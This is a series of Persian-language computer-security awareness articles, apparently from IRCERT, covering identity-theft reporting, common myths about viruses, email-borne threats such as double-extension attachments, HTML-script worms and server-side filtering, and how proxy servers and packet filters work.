حتی اگر سه مرحله قبل را انجام می دهید، هنوز ممکن است قربانی دزدی هویت شوید. اگر اعلامیه های بانک تان و کارت اعتباری تان را حداقل ماهانه مرور کنید، ممکن است بتوانید یک جاعل را شناسایی و از وارد آمدن خسارات قابل توجه جلوگیری کنید.

۵- سو ءاستفاده های مشکوک از اطلاعات شخصیتان را به مراکز مناسب گزارش کنید.

اگر قربانی چنین حقه ای بوده اید باید:

· فوراً جعل را به شرکتی که جعل در مورد آن صورت گرفته است، گزارش کنید. اگر مطمئن نیستید که چگونه با شرکت تماس بگیرید، وب سایت شرکت را برای گرفتن اطلاعات صحیح تماس، نگاه کنید. شرکت ممکن است یک آدرس ایمیل مخصوص برای گزارش چنین سو ءاستفاده ای داشته باشد. بخاطر داشته باشید که هیچ لینکی را در ایمیل phishing که دریافت کرده اید، دنبال نکنید. باید آدرس شناخته شده شرکت را مستقیماً در address bar مرورگرتان تایپ کنید.

· جزئیات جعل را، مانند ایمیل هایی که دریافت کرده اید، به مراکز ذیصلاح قانونی همچون مرکز شکایات تقلب های اینترنتی گزارش کنید. این مرکز در کل دنیا برای از کار اندازی سایت های phishing و شناسایی افراد پشت این کلاه برداری ها، کار می کند.

در چنین شرایطی برای آموختن نحوه به حداقل رساندن میزان خسارت می توانید به وب سایت دزدی هویت FTC سر بزنید.


﻿ IRCERT - بیچاره ویروس‌ها! - مقالات

بیچاره ویروس‌ها!

چه چیزی ویروس نیست؟!

بدلیل سوء شهرتی که ویروسهای کامپیوتری کسب کرده‌اند، به آسانی هر مشکل کامپیوتری بر گردن ویروسها انداخته می‌شود. در این مقاله در ابتدا به بعضی موارد و مشکلات که ممکن است دلیلی بغیر از ویروس داشته باشند، اشاره می‌شود:

· مشکلات سخت‌افزاری: ویروسی وجود ندارد که بتوانند به بعضی از قطعات سخت‌افزاری مانند چیپ‌ها، بردها و مونیتور آسیب برساند.

· صدای بوق در هنگام راه‌اندازی کامپیوتر بدون تصویر: این حالت معمولا بدلیل یک مشکل سخت‌افزاری در هنگام روند بوت رخ می‌دهد. به مستندات کامپیوتر خود برای فهمیدن معنی انواع بوقها در هنگام بوت مراجعه کنید.

· کامپیوتر کل ۶۴۰ کیلوبایت اول از حافظه را نشان نمی‌دهد. این می‌تواند نشانه ویروس باشد، اما قطعی نیست. بعضی از درایورهای سخت‌افزار مانند مونیتور یا کارت SCSI ممکن است بخشی از این قسمت از حافظه را استفاده کنند. به سازنده یا فروشنده کامپیوتر خود مراجعه کنید تا دلیل این امر را بفهمید.

· دو برنامه ضدویروس نصب‌شده دارید و یکی از این دو، ویروسی را گزارش می‌کند: در حالیکه که این می‌تواند نشانه ویروس باشد اما ممکن است امضا یا اثر یکی از این ضدویروسها در حافظه باشد که توسط دیگری به صورت ویروس تشخیص داده شده است.

· در حال استفاده از Microsoft Word هستید که Word‌ به شما گزارش وجود یک ماکرو در یک فایل را می‌دهد. به این معنی نیست که ماکرو ویروس است.

· یک فایل یا سند خاص را نمی‌توانید باز کنید: این الزاما نشانه وجود ویروس نیست. امتحان کنید که آیا می‌توان فایل دیگر یا نسخه پشتیبان همین فایل را باز کرد. اگر بقیه باز می‌شوند، امکان خراب بودن فایل اولیه وجود دارد.

· برچسب روی هارد تغییر کرده‌است. هر دیسک اجازه داشتن یک برچسب را دارد. می‌توانید توسط DOS یا Windows به یک دیسک برچسبی اختصاص دهید.

· هنگام اجرای ScanDisk ، آنتی‌ویروس نورتون یک فعالیت شبه‌ویروسی را گزارش می‌کند. دو راه حل در پیش‌رو دارید:

o  Auto-Protect نورتون را موقتا غیرفعال کنید و ScanDisk را اجرا کنید.

o  Optionهای ScanDisk را در هنگام اجرا تغییر دهید.

در حقیقت، موارد فوق تنها چند مورد از تصورات اشتباه در مورد ویروس‌هاست.

تصورات غلط

در مورد تصورات غلطی که در مورد ویروسها وجود دارد، داستانها و اتفاقات جالبی وجود دارد. جالب اینجاست که افراد زیادی نیز هستند که با اینکه اطلاعات زیاد و یا صحیحی راجع به ویروسها ندارند، ولی خود به گونه دیگری فکر می‌کنند و به این ترتیب به خود اجازه اظهار نظر در این مورد را می‌دهند. این افراد دچار سندرمی به نام False Authority یا اعتبار کاذب هستند.

ولفگانگ استیلر که بعنوان یک متخصص ویروس بصورت بین‌المللی مطرح است، و نویسنده برنامه ضدویروس Integrity Master است می‌گوید: “امروزه خبرگان امنیت کامپیوتر – افرادی که لایق این عنوان هستند- تمایل به داشتن یک زمینه خوب از نحوه عمل ویروسها دارند و می‌توانند نصایح خوبی در این زمینه ارائه دهند. “ اما هنگامی که از وی درباره صاحب‌نظران ویروس پرسیده می‌شود، او کلمات خود را بدقت و با احتیاط کامل انتخاب می‌کند.

استیلر می‌گوید “ این افراد نسبت به مردم عادی درک بیشتری از ویروس‌ها دارند.” او اضافه می‌کند: “ بعضی ادعا می‌کنند که این افراد بدرستی ویروسها را می‌شناسند، اما تعدادی را دیده‌ام که هیچی نمی‌دانند یا حتی بدتر، دچار تصور غلطی از ویروس هستند. با توجه به این نکته که آنان متخصصان امنیت کامپیوتر هستند، تصورات غلطشان بار منفی بیشتری نسبت به مردم عادی دارد. گفتار و نظرهای اشتباه، زمانی که از زبان این افراد شنیده می‌شوند، نتایج زیانبارتری دارند. ”

افرادی که عناوین شغلی مرتبطی نیز ندارند، گاهی دچار سندرم اعتبار کاذب هستند. برای مثال یک کاربر که به ویروس برمی‌خورد، ممکن است برای فهمیدن نحوه مقابله با آن به هرکسی مراجعه کند. در چنین شرایط شخص پاسخگو ممکن است تا درجه متخصص رسمی ویروس نیز ارتقاء یابد!!

دونتمن می‌گوید” شغل یک ویراستار مجله کامپیوتر ایجاب می‌کند که وی در مورد خیلی چیزها مقدار کمی بداند. او گستره وسیعی از دانش با عمق کم در اختیار دارد، مگر در چند مورد خاص!”

او اضافه میکند “ گزارشگران و ویراستاران صنعت کامپیوتر می‌توانند بخویی صحبت‌کنند و بنویسند. اگر شما بتوانید در مورد یک موضوع، حتی اگر در مورد آن چیزی ندانید، تعابیر خوبی بیان کنید، شانس خود را برای این که متخصص در آن زمینه شناخته شوید بالا برده‌اید، مخصوصا توسط افرادی که در مورد آن موضوع هیچ‌چیز نمی‌دانند. ”

سندرم اعتبار کاذب دو میل مهم را در فرد برمی‌انگیزد. اول اینکه فرد واقعا دوست دارد که به دیگران کمک کند؛ و دیگر اینکه دوست دارد بر کامپیوتر احساس کنترل داشته باشد. و این دو گرایش باعث تاثیرپذیری فرد در مقابل این سندرم می‌شود.

مارچلو، یک کاربر معمولی که یک ایمیل دروغین دریافت کرد، پیامی روی CompuServe فرستاد و به کاربران هشدار داد که هر پیامی که در عنوانش عبارت “Good Times” را دارد، باز نکنند (مبادا که به چینی ویروسی آلوده شوند). بطرز مضحکی مارچلو از عبارت “Good Times” در عنوان پیام هشدارهنده خود استفاده کرده بود!!!

یک متخصص ویروس به شوخی یک پیام برای مارچلو فرستاد و به او گفت که آلوده کردن کامپیوتر دیگران با ویروس Good Times‌ را متوقف کند. مارچلو وقتی از جزئیات نامه دروغین مطلع شد، پاسخ داد “ از کمک شما متشکرم. متاسفم، من گول خورده بودم. اما بهرحال من نگران کامپیوتر و شغلم بودم”

نتیجه گیری

هدف از این مقاله تغییر عقاید شما درباره افسانه‌هایی که در مورد ویروس‌ها شنیده‌اید، نیست. بلکه از شما می‌خواهیم پرسشهای خود را از افرادی بپرسید که در زمینه ویروسهای کامپیوتر صاحب تخصص و آگاهی هستند. به این ترتیب می‌توان از “کوری عصاکش کور دگر شود” جلوگیری کرد و از تعداد افرادی که تمام خرافه‌ها راجع به ویروسها را باور دارند، کاست.

بطور خلاصه:

· بیشتر افراد دانش و تخصص بسیار کمی در زمینه ویروسهای کامپیوتری دارند.

· افراد با دانش کم اغلب به سندرم اعتبار کاذب دچار می‌شوند.

· سندرم اعتبار کاذب معمولا به شیوع ترس و خرافات در مورد ویروسهای کامپیوتر می‌انجامد.

دوتمن به بهترین نحو جمع‌بندی می‌کند: “ اگر انسانها احتیاط بیشتری در مورد اینکه به چه کسی و چگونه و تا چه حدی اعتماد کنند، بخرج میدادند، ما بعنوان انجمن متخصصان بیشتر می‌دانستیم و بهتر شناخته می‌شدیم. بنابرانی مسیرهای کمتری به سمت اطلاعات بد یا غیرموثق پدید می‌آمد.”


﻿ IRCERT - محافظت در مقابل خطرات ایمیل (۱) - مقالات

محافظت در مقابل خطرات ایمیل (۱)

مقدمه

می خواهیم ببینیم چرا نرم افزار ضدویروس بتنهایی برای محافظت سازمان شما در مقابل حمله ویروسهای کامپیوتری فعلی و آینده کافی نیست. علاوه بر اینها گاهی به ابزاری قوی برای بررسی محتوای ایمیلها برای حفاظت در مقابل حملات و ویروسهای ایمیل (منظور از ویروس ایمیل ویروسی است که از طریق ایمیل گسترش می یابد) و جلوگیری از نشت اطلاعات نیاز است. اما در هر صورت رعایت بعضی نکات همیشه توسط کاربران الزامی است.

شما می توانید مقالات ویروس و ضدویروس و طرزکار برنامه های ضدویروس را نیز مطالعه کنید.

خطرات ویروسهای ایمیل و اسبهای تروا

استفاده گسترده از ایمیل راه ساده ای را برای گسترش محتویات مضر در شبکه ها پیش روی هکرها قرار داده است. هکرها براحتی می توانند از حصار ایجاد شده توسط یک فایروال از طریق نقب زدن از راه پروتکل ایمیل عبور کنند، زیرا فایروال محتویات ایمیل را بررسی نمی کند. CNN در ژانویه ۲۰۰۴ گزارش داد که ویروس MyDoom هزینه ای در حدود ۲۵۰ میلیون دلار را بدلیل آسیب های وارده و هزینه های پشتیبانی فنی بر شرکتها تحمیل کرده است، این در حالیست که NetworkWorld هزینه های مقابله با Blaster، SoBig.F، Wechia و سایر ویروسهای ایمیل تا سپتامبر ۲۰۰۳ را تنها برای شرکتهای ایالات متحده ۳/۵ میلیارد دلار ذکر کرد. (یعنی عدد ۳۵ با هشت تا صفر جلوش!!!)

بعلاوه، از ایمیل برای نصب اسبهای تروا استفاده می شود که مشخصاً سازمان شما را برای بدست آوردن اطلاعات محرمانه یا بدست گیری کنترل سرورتان، هدف می گیرند. این ویروسها که خبرگان امنیت از آنها بعنوان ویروسهای جاسوسی یاد می کنند، ابزار قدرتمندی در جاسوسی صنعتی بشمار میروند! یک مورد آن حمله ایمیلی به شبکه مایکروسافت در اکتبر۲۰۰۰ است که یک سخنگوی شرکت مایکروسافت از آن بعنوان “یک عمل جاسوسی ساده و تمیز” یاد کرد. برطبق گزارشها، شبکه مایکروسافت توسط یک تروای backdoor که به یک کاربر شبکه توسط ایمیل ارسال شده بود، هک شد.

خطر نشت و فاش شدن اطلاعات

سازمانها اغلب در آگاهی دادن به کارکنانشان نسبت به وجود مخاطرات دزدی داده های مهم شرکتهایشان ، کوتاهی می کنند. مطالعات مختلف نشان داده است که چگونه کارمندان از ایمیل بمنظور فرستادن اطلاعات حقوقی محرمانه استفاده می کنند. گاهی آنها اینکار را از روی ناراحتی یا کینه توزی انجام می دهند. گاهی بدلیل عدم درک مناسب از ضربه مهلکی است که در اثر این عمل به سازمان وارد می شود. گاهی کارمندان از ایمیل برای به اشتراک گذاری داده های حساسی استفاده می کنند که رسماً می بایست در داخل سازمان باقی می ماند.

بر طبق مطالعات و پرس وجوهای Hutton در انگلستان در سال ۲۰۰۳ نشان داده شد که صاحب منصبان دولتی و اعضاء هیات رئیسه BBC از ایمیل برای فاش ساختن اطلاعاتی که محرمانه بوده اند استفاده کرده اند. مقاله ای در مارس ۱۹۹۹ در PC Week به تحقیقی اشاره کرد که طی آن از میان ۸۰۰ پرسنل مورد مطالعه، ۲۱ تا ۳۱ درصد آنها به ارسال اطلاعات محرمانه ـ مانند اطلاعات مالی یا محصولات ـ به افراد خارج از شرکتشان اعتراف کرده اند.

خطر ایمیلهای دربردارنده محتویات بدخواهانه یا اهانت آور

ایمیلهای ارسالی توسط کارکنان که حاوی مطالب نژادپرستانه، امور جنسی یا سایر موضوعات ناخوشایند است، می تواند یک شرکت را از نقطه نظر قانونی آسیب پذیر نماید. در سپتامبر ۲۰۰۳ مشاوران شرکت مالی Holden Meehan مجبور به پرداخت ۱۰هزار پوند به یکی از کارکنان سابق بدلیل ناتوانی در محافظت وی در مقابل آزار ایمیلی! شدند. Chevron مجبور به پرداخت ۲/۲ میلیون دلار به چهار نفر از کارکنانش شد که به وضوح ایمیلهای آزاردهنده جنسی دریافت کرده بودند. تحت قانون انگلیس، کارفرمایان مسوول ایمیلهایی هستند که توسط کارکنانشان در مدت استخدامشان نوشته و ارسال می شود، خواه کارفرما راضی به آن ایمیل بوده باشد، خواه نباشد. مبلغی معادل ۴۵۰هزار دلار از شرکت بیمه Norwich Union طی یک توافق خارج از دادگاه بخاطر ارسال توضیحات مربوط به یک سری از مسابقات درخواست شد.

روشهای استفاده شده برای حمله به سیستم ایمیل

برای درک انواع تهدیدات ایمیلی که امروزه وجود دارد، نگاهی اجمالی به روشهای اصلی فعلی حملات ایمیلی می اندازیم:

ضمیمه هایی با محتوای آسیب رسان

Melissa و LoveLetter جزو اولین ویروسهایی بودند که مساله ضمیمه های (Attachments) ایمیل و اعتماد را نشان دادند. آنها از اعتمادی که بین دوستان و همکاران وجود داشت استفاده می کردند. تصور کنید یک ضمیمه از دوستی دریافت می کنید که از شما می خواهد آن را باز کنید. این همانی است که در Melissa، AnnaKournikova، SirCam و سایر ویروسهای ایمیلی مشابه اتفاق می افتاد. به محض اجرا شدن، چنین ویروسهایی معمولا خودشان را به آدرسهای ایمیلی که از دفترچه آدرس شخص قربانی بدست میاورند و به ایمیلهایی که صفحات وب ذخیره می کنند، ارسال می کنند. ویروس نویسان تاکید زیادی روی اجرای ضمیمه ای که توسط قربانی دریافت می شود، دارند.بنابراین برای نام ضمیمه ها از عناوین متفاوت و جذاب مانند SexPic.cmd و me.pif استفاده می کنند.

بسیاری از کاربران سعی می کنند که از سرایت ویروسهای ایمیل جلوگیری کنند و فقط روی فایلهایی با پسوندهای مشخص مانند JPG و MPG کلیک می کنند. بهرحال بعضی ویروسها، مانند کرم AnnaKournikova، از پسوند چندتایی بمنظور گول زدن کاربر برای اجرای آن استفاده می کند. ویروس AnnaKournikova از طریق ضمیمه ایمیل و با عنوان ‘AnnaKournikova.jpg.vbs’ منتقل میشد که دریافت کننده را متقاعد می کرد که یک تصویر به فرمت JPG را از ستاره مشهور تنیس دریافت کرده است تا اینکه فایل ضمیمه یک اسکریپت ویژوال بیسیک حاوی کدهای آسیب رسان باشد.

بعلاوه، پسوند Class ID (CLSID) به هکرها این اجازه را می دهد که پسوند واقعی فایل را پنهان کنند و بدینوسیله این حقیقت که cleanfile.jpg یک برنامه HTML می باشد پنهان می ماند. این روش در حال حاضر نیز فیلترهای محتوای ایمیل را که از روشهای ساده بررسی فایل استفاده می کنند، فریب می دهد و به هکر امکان رسیدن به کاربر مقصد را به سادگی می دهد.

ایمیلهای راه اندازنده اکسپلویت های شناخته شده

اکسپلویت در حقیقت استفاده از شکافهای امنیتی موجود است. کرم Nimda اینترنت را با شگفتی مواجه کرد و با گول زدن بسیاری از ابزار امنیت ایمیل و نفوذ به سرورها و شبکه های بزرگ و سرایت کردن به کابران خانگی، اینترنت را فراگرفت. حقه بکارگرفته شده توسط Nimda این است که روی کامپیوترهایی که نسخه آسیب پذیری از IE یا Outlook Express را دارند، بطور خودکار اجرا می شود. Nimda از اولین ویروسهایی بود که از یکی از این شکافها بمنظور انتشار بهره برداری می کنند. برای مثال، انواعی از ویروس Bagle که در مارس ۲۰۰۴ ظهور کردند، از یکی از شکافهای اولیه Outlook برای انتشار بدون دخالت کاربر استفاده می کردند.

ایمیلهای با فرمت HTML دربردارنده اسکریپت

امروزه، تمام استفاده کنندگان ایمیل می توانند ایمیلهای HTML را ارسال و دریافت کنند. ایمیل با فرمت HTML می تواند اسکریپتها و محتویات فعالی را دربرگیرد که می توانند به برنامه یا کدها اجازه اجرا روی سیستم دریافت کننده را دهند. Outlook و محصولات دیگر از اجزا IE برای نمایش ایملهای HTML استفاده می کنند، به این معنی که اینها شکافهای امنیتی موجود در IE را به ارث می برند!

ویروسهای بر پایه اسکریپتهای HTML خطر مضاعف توانایی اجرای خودکار را، وقتی که ایمیل آسیب رسان باز می شود، دارند. آنها به ضمیمه ها متوسل نمی شوند؛ بنابراین فیلترهای ضمیمه که در نرم افزارهای ضدویروس وجود دارند در نبرد با ویروسهای اسکریپت HTML بلااستفاده هستند. برای مثال ویروس BadTrans.B از HTML برای اجرای خودکار در هنگام بازشدن استفاده می کند و از یک اکسپلویت ایمیل با فرمت HTML برای انتشار استفاده می کند. در مقاله بعدی به روشهای مقابله خواهیم پرداخت.


﻿ IRCERT - محافظت در مقابل خطرات ایمیل (۲) - مقالات

محافظت در مقابل خطرات ایمیل (۲)

آسانی تولید یک ویروس در سالهای اخیر

با داشتن اطلاعات مختصری مثلا در مورد ویژوال بیسیک، می توان با بهره گیری از شکافهای امنیتی، باعث آشفتگی در شبکه ها و سیستم های استفاده کنندگان ایمیل شد. مطالعه بعضی سایتها، شما را با بعضی از شکافهای موجود در Outlook و نحوه بهره گیری از آنها آشنا خواهد کرد. حتی بعضی از کدها نیز در دسترس شما خواهد بود و با تغییرات اندکی می توانید ویروسی تولید کنید که کدهای مورد نظر شما را اجرا کند. برای مثال می توانید ویروسی تولید کنید که شخص قربانی بمحض باز کردن ایمیل حاوی آن در Outlook ، کدهای مورد نظر شما اجرا شود. به این ترتیب تمام فایلهای HTML آلوده می شود و این ویروس به تمام آدرسهای موجود در دفترچه آدرس سیستم آلوده شده فرستاده می شود. در اصل، ویژگی کلیدی این ویروس اجرا شدن آن بمحض باز شدن ایمیل حاوی HTML آسیب رسان است.

آیا نرم افزار ضدویروس یا فایروال برای مقابله کافیست؟

بعضی سازمانها با نصب کردن یک فایروال، خیال خود را از بابت امنیت آسوده می کنند. البته این یک گام ضروری برای محافظت از شبکه داخلیشان است اما کافی نیست. فایروالها می توانند شبکه شما را از دسترس کاربران غیرمجاز مصون بدارند، اما محتوای ایمیلهایی را که توسط کاربران مجاز از طریق شبکه ارسال و دریافت می شود، بررسی نمی کنند. به این معنی که ویروسهای ایمیلی! می توانند از این سطح امنیتی عبور کنند.

در ضمن، نرم افزارهای ویروس یاب نیز نمی توانند سیستم ها را علیه تمام حمله ها و ویروسهای ایمیلی محافظت کنند. تولیدکنندگان نرم افزارهای ضدویروس نمی توانند همواره برعلیه ویروسهای مهلکی که از طریق ایمیل در عرض چند ساعت در کل دنیا پراکنده می شوند (مانند کرمهای MyDoom ، NetSky.B و Beagle ) مراقبت کامل کنند. بنابراین تکیه تنها بر موتور جستجوی ویروس نیز باعث مراقبت کامل نمی گردد. برای مثال، یک مطالعه در سال ۲۰۰۴ توسط دولت بریتانیا نشان می دهد که اگرچه ۹۹٪ از شرکتهای بزرگ انگلیسی از ضدویروس استفاده می کنند، اما ٪۶۸ از آنها در طی سال ۲۰۰۳ به ویروسهای مختلف آلوده شده اند. یک تحقیق که در سال ۲۰۰۳ در آزمایشگاههای تحقیقاتی هیولت ـ پکارد در بریستول انجام شد، نشان داد که کرمها از نسخه های به روز ضدویروس ها بمراتب سریعتر گسترش پیدا می کنند.

راه حل: یک رویکرد پیشگیرانه

بنابراین چگونه می توان علیه این خطرات ایمیلی محافظت شد؟ در حقیقت به یک رویکرد پیشگیرانه نیاز است تا محتوای تمام ایمیلهایی وارد شونده و خارج شونده قبل از رسیدن به کاربران، در سطح سِرور بررسی شود. به این ترتیب، تمام محتوای مضر از ایمیل آلوده حذف می گردد و سپس به کاربر فرستاده می شود. سازمانها و شرکتها با نصب یک فیلتر جامع برای بررسی محتوای ایمیلها و یک دروازه (gateway) ضدویروس برروی سرویس دهنده ایمیل، می توانند در مقابله آسیب رسانیهای بالقوه و از بین رفتن زمان مفید کار توسط ویروسهای فعلی و آینده، خود را محافظت کنند.

در مقاله پیشین یعنی محافظت در مقابل خطرات ایمیل (۱) به نکاتی که توسط کاربران ایمیل باید رعایت شود، پرداخته شد و در اینجا به قابلیتهای یک فیلتر خوب برای نصب در سرویس دهنده ایمیل برای جلوگیری از آلوده شدن توسط ویروسهای ایمیلی اشاره می شود.

- بررسی محتوای ایمیل

- کشف بهره برداریها از شکافهای امنیتی (اکسپلویتها)

- تحلیل خطرات

- راه حلهای ضدویروسی

موارد فوق برای ازبین بردن انواع خطراتی است که توسط ایمیلها منتقل می شود، قبل از اینکه بتوانند کاربران ایمیل را تحت تاثیر قرار دهند.

ویژگیهای زیر را نیز می توان به فیلتر مذکور اضافه کرد:

- دربرداشتن چندین موتور ویروس برای بالا بردن نرخ کشف ویروس و پاسخ سریعتر به ویروسهای جدید.

- بررسی پیوستهای ایمیلها برای مصونیت در مقابل ضمیمه های خطرناک

- یک سپر در مقابل اکسپلویتها برای محافظت در مقابل ویروسهای فعلی و آتی که برپایه اکسپلویتها ایجاد گشته اند.

- یک موتور بررسی خطرات HTML برای از کار انداختن اسکریپتهای HTML

- یک پویش گر برای ترواها و فایلهای اجرایی برای کشف فایلهای اجرایی آسیب رسان

- و ...

مهم ترین و آخرین نکته که تا کنون چندین بار به آن اشاره شده است این است که ایمیلهای ناشناخته را باز نکنید.


﻿ IRCERT - پراکسی سرور - مقالات

پراکسی سرور

در یک تشکیلات که از اینترنت استفاده می‌کند، یک پراکسی سرور ترکیبی از سخت‌افزار و نرم‌افزار است که بعنوان یک واسطه بین کاربر داخلی و اینترنت عمل می‌کند به طوریکه امنیت، نظارت مدیریتی و سرویس‌های caching تامین می‌شود. یک سرور پراکسی دارای پروتکل مشخصی است،‌ بنابراین برای هرنوع پروتکلی (HTTP، FTP، Gogher و غیره) باید تنظیم شود. پراکسی سرور بعنوان بخشی از یک سرور gateway (نقطه‌ای در یک شبکه که ورودی به شبکه‌ای دیگر است) رفتار می‌کند و می‌تواند برای انجام یک یا چند فانکشن‌ که در بخش بعد به آن اشاره می‌شود، تنظیم شود.

عملکردهایی که پراکسی سرور می‌تواند داشته باشد

با تعریفی که از یک پراکسی ارائه شد، می‌توان از پراکسی برای بهبود عملکرد یک شبکه استفاده‌هایی کرد که در اینجا به چند مورد آن به اختصار اشاره می‌کنیم:

· Firewall (دیواره آتش)

برای سازمانی که فایروال دارد، پراکسی سرور تقاضاهای کاربران را به فایروال می‌دهد که با آنها اجازه ورود یا خروج به شبکه داخلی را می‌دهد.

· Caching (ذخیره سازی)

سرور پراکسی که عمل caching را انجام می‌دهد، منابعی مانند صفحات وب و فایل‌ها را ذخیره می‌کند. هنگامی که یک منبع مورد دسترسی قرار گرفت، در سرور دخیره می‌شود و تقاضاهای بعدی برای همین منبع مشخص با محتویات cache پاسخ داده می‌شود. این عمل، دسترسی به آن منبع را برای کاربرانی که از طریق پراکسی به اینترنت متصل هستند، سرعت می‌بخشد و از طرفی از ترافیک اینترنت می‌کاهد و اجازه استفاده بهتر از پهنای باند به کاربران داده می‌شود.

· Filtering (فیلتر کردن)

سرور پراکسی می‌تواند ترافیک وارد شونده و خارج شونده از شبکه را بررسی کند و به آنچه که با معیارهای امنیتی یا سیاست سازمان مغایرت دارد، اجازه عبور ندهد.

· Authentication (تصدیق هویت)

بسیاری منابع الکترونیکی سازمانی توسط ورود با کلمه رمز یا قرار داشتن در دامنه مشخصی از IP محدود شده‌اند. کاربران دور معمولاً از یک سرویس‌دهنده اینترنت ثالث استفاده می‌کنند که در این صورت این کاربر یا IP کامپیوتر آن برای سازمان معتبر تشخیص داده نمی‌شود. برای کاربرانی که بصورت فیزیکی به شبکه داخلی سازمان متصل نشده‌اند، پراکسی طوری عمل می‌کند که به کاربران دور اجازه ورود موقت داده شود یا به آنها بطور موقت یک IP سازمان تخصیص داده شود که بتوانند به منابع محدود شده دسترسی پیدا کنند.

· Anonymization (تغییر هویت)

برای محافظت شبکه داخلی یک سازمان از کاربران موجود در اینترنت، سرور پراکسی می‌تواند هویت سیستم‌های متقاضی داخلی را تغییر دهد. اگر منبع (مثلاً صفحه وب یا فایل) تقاضا شده توسط کاربر داخلی سازمان، در cache موجود نباشد، سرور پراکسی برای آن کاربر، بعنوان کلاینت عمل می‌کند و از یکی از آدرس‌های IP خودش برای تقاضای آن منبع از سرور موجود در اینترنت استفاده می‌کند. این آدرس IP «موقت»، آدرسی نیست که واقعاً در شبکه داخلی سازمان استفاده گردد و در نتیجه از بعضی از حمله‌های نفوذگران جلوگیری می‌شود. هنگامی که صفحه تقاضا شده، از طرف سرور روی اینترنت به پراکسی سرور می‌رسد، پراکسی سرور آن را به تقاضای اولیه مرتبط می‌کند و برای کاربر می‌فرستد. این پروسه تغییر دادن IP باعث می‌شود که تقاضا دهنده اولیه قابل ردیابی نباشد و همچنین معماری شبکه سازمان از دید بیرونی مخفی بماند.

· Logging (ثبت کردن)

پراکسی سرور می‌تواند تقاضاها را بهمراه اطلاعات لازم در جایی ثبت کند تا بعداً امکان پیگیری اعمال کاربران داخل سازمان فراهم شود.

پیکربندی مرورگر

· تعامل کاربر: کاربر باید از ابتدا مرورگر خود را پیکربندی کند که بدین ترتیب نیاز است که اطلاعات را از پشتیبانی فنی سازمان بدست آورد.

· پیکربندی دستی: در این پیکربندی کاربر باید سروری را که نرم‌افزار پراکسی را اجرا می‌کند، مشخص کند. کاربر باید استثنائات هر دامنه‌ای را که می‌تواند بطور مستقیم به آن وصل شود، مشخص کند و به این ترتیب در اتصال به این دامنه‌های مشخص‌شده، پراکسی در مسیر قرار نمی‌گیرد.

· پیکربندی خودکار: یک فایل تنظیم پیکربندی توسط سازمان که منطق استفاده از پراکسی توسط مرورگر در آن قرار دارد. URL فایل باید در پیکربندی مرورگر وارد گردد. اینکه یک تقاضا از طریق پراکسی مسیریابی شود یا خیر، بستگی به شروط موجود در آن فایل دارد.

در شماره‌های بعد در سایت {گروه امداد امنیت کامپیوتری ایران} کاربرد پراکسی از دیدگاه امنیت بررسی خواهد شد.


﻿ IRCERT - کاربرد پراکسی در امنیت شبکه (۱) - مقالات

کاربرد پراکسی در امنیت شبکه (۱)

بعد از آشنایی با پراکسی در مقاله «پراکسی سرور» در این مقاله به این مطلب می پردازیم که از دیدگاه امنیتی پراکسی چیست و چه چیزی نیست، از چه نوع حملاتی جلوگیری می کند و به مشخصات بعضی انواع پراکسی پرداخته می شود. البته قبل از پرداختن به پراکسی بعنوان ابزار امنیتی، بیشتر با فیلترها آشنا خواهیم شد.

پراکسی چیست؟

در دنیای امنیت شبکه، افراد از عبارت «پراکسی» برای خیلی چیزها استفاده می کنند. اما عموماً، پراکسی ابزار است که بسته های دیتای اینترنتی را در مسیر دریافت می کند، آن دیتا را می سنجد و عملیاتی برای سیستم مقصد آن دیتا انجام می دهد. در اینجا از پراکسی به معنی پروسه ای یاد می شود که در راه ترافیک شبکه ای قبل از اینکه به شبکه وارد یا از آن خارج شود، قرار می گیرد و آن را می سنجد تا ببیند با سیاست های امنیتی شما مطابقت دارد و سپس مشخص می کند که آیا به آن اجازه عبور از فایروال را بدهد یا خیر. بسته های مورد قبول به سرور مورد نظر ارسال و بسته های ردشده دور ریخته می شوند.

پراکسی چه چیزی نیست؟

پراکسی ها بعضی اوقات با دو نوع فایروال اشتباه می شوند «Packet filter و Stateful packet filter» که البته هر کدام از روش ها مزایا و معایبی دارد، زیرا همیشه یک مصالحه بین کارایی و امنیت وجود دارد.

پراکسی با Packet filter تفاوت دارد

ابتدایی ترین روش صدور اجازه عبور به ترافیک بر اساس TCP/IP این نوع فیلتر بود. این نوع فیلتر بین دو یا بیشتر رابط شبکه قرار می گیرد و اطلاعات آدرس را در header IP ترافیک دیتایی که بین آنها عبور می کند، پیمایش می کند. اطلاعاتی که این نوع فیلتر ارزیابی می کند عموماً شامل آدرس و پورت منبع و مقصد می شود. این فیلتر بسته به پورت و منبع و مقصد دیتا و بر اساس قوانین ایجاد شده توسط مدیر شبکه بسته را می پذیرد یا نمی پذیرد. مزیت اصلی این نوع فیلتر سریع بودن آن است چرا که header، تمام آن چیزی است که سنجیده می شود. و عیب اصلی ان این است که هرگز آنچه را که در بسته وجود دارد نمی بیند و به محتوای آسیب رسان اجازه عبور از فایروال را می دهد. بعلاوه، این نوع فیلتر با هر بسته بعنوان یک واحد مستقل رفتار می کند و وضعیت (State) ارتباط را دنبال نمی کند.

پراکسی با Stateful packet filter تفاوت دارد

این فیلتر اعمال فیلتر نوع قبل را انجام می دهد، بعلاوه اینکه بررسی می کند کدام کامپیوتر در حال ارسال چه دیتایی است و چه نوع دیتایی باید بیاید. این اطلاعات بعنوان وضعیت (State) شناخته می شود.

پروتکل ارتباطی TCP/IP به ترتیبی از ارتباط برای برقراری یک مکالمه بین کامپیوترها نیاز دارد. در آغاز یک ارتباط TCP/IP عادی، کامپیوتر A سعی می کند با ارسال یک بسته SYN (synchronize) به کامپیوتر B ارتباط را برقرار کند. کامپیوتر B در جواب یک بسته SYN/ACK (Acknowledgement) برمی گرداند، و کامپیوتر A یک ACK به کامپیوتر ‍B می فرستد و به این ترتیب ارتباط برقرار می شود. TCP اجازه وضعیتهای دیگر، مثلاً FIN (finish) برای نشان دادن آخرین بسته در یک ارتباط را نیز می دهد.

